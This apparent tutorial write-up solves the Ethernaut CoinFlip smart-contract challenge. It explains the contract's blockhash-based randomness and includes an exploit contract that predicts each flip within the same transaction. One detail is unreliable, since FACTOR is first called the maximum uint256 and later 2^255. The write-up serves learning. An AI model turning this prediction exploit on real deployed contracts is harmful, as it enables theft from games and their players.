Writeup for CoinFlip
- Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity well. For each challenge, they will deploy the contract and provide us with the instance of that contract. Our task is to interact with the contract and exploit it. Don’t worry if you are completely new to Solidity and have never deployed a smart contract before. You can learn how to deploy a contract using Remix here.
Challenge
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level, you’ll need to use your psychic abilities to guess the correct outcome 10 times in a row.
Contract Explanation
Click to view source contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract CoinFlip {
5 uint256 public consecutiveWins;
6 uint256 lastHash;
7 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
8
9 constructor() {
10 consecutiveWins = 0;
11 }
12
13 function flip(bool _guess) public returns (bool) {
14 uint256 blockValue = uint256(blockhash(block.number - 1));
15
16 if (lastHash == blockValue) {
17 revert();
18 }
19
20 lastHash = blockValue;
21 uint256 coinFlip = blockValue / FACTOR;
22 bool side = coinFlip == 1 ? true : false;
23
24 if (side == _guess) {
25 consecutiveWins++;
26 return true;
27 } else {
28 consecutiveWins = 0;
29 return false;
30 }
31 }
32}
If you feel like you understood the contract you can move to the exploit part. If you are a begineer please go through contract Explaination also. It will help you to understand the solidity better.
The contract has three state variables:
uint256 consecutiveWins
,uint256 lastHash
, anduint256 FACTOR
. TheconsecutiveWins
variable will be updated after every successful flip. ThelastHash
variable will be updated after every flip, and theFACTOR
variable is initialized to 57896044618658097711785492504343953926634992332820282019728792003956564819968, which is the maximum value ofuint256
. It is used to calculate thecoinFlip
value.
1constructor() {
2 consecutiveWins = 0;
3}
- The above code snippet is a constructor that initializes the
consecutiveWins
variable to zero. The constructor is automatically called during the deployment of the contract.
1function flip(bool _guess) public returns (bool) {
2 uint256 blockValue = uint256(blockhash(block.number - 1));
3
4 if (lastHash == blockValue) {
5 revert();
6 }
7
8 lastHash = blockValue;
9 uint256 coinFlip = blockValue / FACTOR;
10 bool side = coinFlip == 1 ? true : false;
11
12 if (side == _guess) {
13 consecutiveWins++;
14 return true;
15 } else {
16 consecutiveWins = 0;
17 return false;
18 }
19}
The
flip()
function is a public function that takes a boolean parameterguess
as input and returnstrue
if the flip is successful, otherwise it will returnfalse
.First, it initializes the
blockValue
to the blockhash of the previous block. They are using the previous blockhash because the blockhash of the current block cannot be determined until it is mined or validated.block.number
returns the current block number. By subtracting 1 from the current block number, they get the hash value of the previous block.Then, the function checks if the
lastHash
is equal toblockValue
or not. ThelastHash
is updated after each flip, regardless of success or failure.After that check, it updates the
lastHash
value toblockValue
. This ensures thatflip()
can only be called once in a block. If we callflip()
with some value and then call it again within the same block, it will revert because thelastHash
is already updated toblockValue
. SinceblockValue
is the same in both calls andlastHash
will match exactly with theblockValue
set in the first call, it will revert.Next, the function calculates the
coinFlip
value by dividingblockValue
byFACTOR
.FACTOR
is auint256
initialized with 2^255, which is 32 bytes. Since theblockhash
is also 32 bytes, when divided byFACTOR
, it will return either 0 or 1.Then, the function initializes the
side
variable totrue
ifcoinFlip
is 1, otherwise it is initialized tofalse
.Finally, it checks if the value of
side
is equal toguess
. If they are the same,consecutiveWins
is incremented by 1 and the function returnstrue
. If they are not the same,consecutiveWins
is set to 0 and the function returnsfalse
.
Exploit
By examining the contract, it becomes apparent that the value of
side
is primarily determined byblockValue
. If we can somehow obtain theblockValue
before calling the function, we can easily calculate the guess value and pass it as an argument to theflip()
function.When interacting with a smart contract, our interactions are conducted through transactions. Calling a function that modifies the state of a deployed contract is considered a transaction. Changing the state involves altering the values of state variables.
In the Ethereum Virtual Machine (EVM), if we call a function of a smart contract that in turn calls another contract’s function, both calls will be broadcasted to the Ethereum network as a single transaction and will be mined in the same block.
Based on this understanding, we can conclude that we can calculate the guess value before calling the
flip()
function and then pass it as an argument to the function.In this challenge, we do not interact with the contract using the console. Instead, we need to write an Exploit contract and deploy and interact with it using Remix, an online Solidity IDE.
If you are unfamiliar with Remix, you can refer to this video tutorial: Remix Tutorial.
Here is an example of an exploit contract:
1function exploit() public {
2 uint256 blockValue = uint256(blockhash(block.number - 1));
3 uint256 coinFlip = blockValue / FACTOR;
4 bool guess = coinFlip == 1 ? true : false;
5 bool success = CoinFlip.flip(guess);
6 require(success, "Exploit failed");
7}
As mentioned earlier, we calculate the
blockValue
andcoinFlip
values in the same way as theflip()
function in the CoinFlip contract.Once the guess value is calculated, we call the
flip()
function of the CoinFlip contract with the guess value. Since theexploit()
function calls theflip()
function, both calls will be broadcasted as a single transaction, ensuring that theblockValue
remains the same and theflip()
function succeeds.If the
flip()
function fails, our exploit function call will be reverted. However, if our exploit contract is implemented correctly, no reverts will occur.To achieve 10 consecutive wins, we need to call the
exploit()
function 10 times to pass the level.
Click to view Exploit contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {CoinFlip} from "../src/contracts/CoinFlip.sol";
5
6contract ExploitCoinFlip {
7CoinFlip coinflip;
8uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
9
10 constructor(address _addr) {
11 coinflip = CoinFlip(_addr);
12 }
13
14 function exploit() public {
15 uint256 blockValue = uint256(blockhash(block.number - 1));
16 uint256 coinFlip = blockValue / FACTOR;
17 bool guess = coinFlip == 1 ? true : false;
18 bool a = coinflip.flip(guess);
19 require(a, "Exploit failed");
20 }
21
22}
In Remix, during deployment, we need to provide the address of the
CoinFlip
contract as an argument to the constructor of the exploit contract.Once the 10 calls are completed, submit the level instance.
Key Takeaways
- When interacting with a smart contract, multiple function calls within a single transaction are broadcasted and mined together. This ensures that all changes are applied at once or none at all. This is important for exploiting the CoinFlip contract because it allows us to predict the blockValue and make.
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments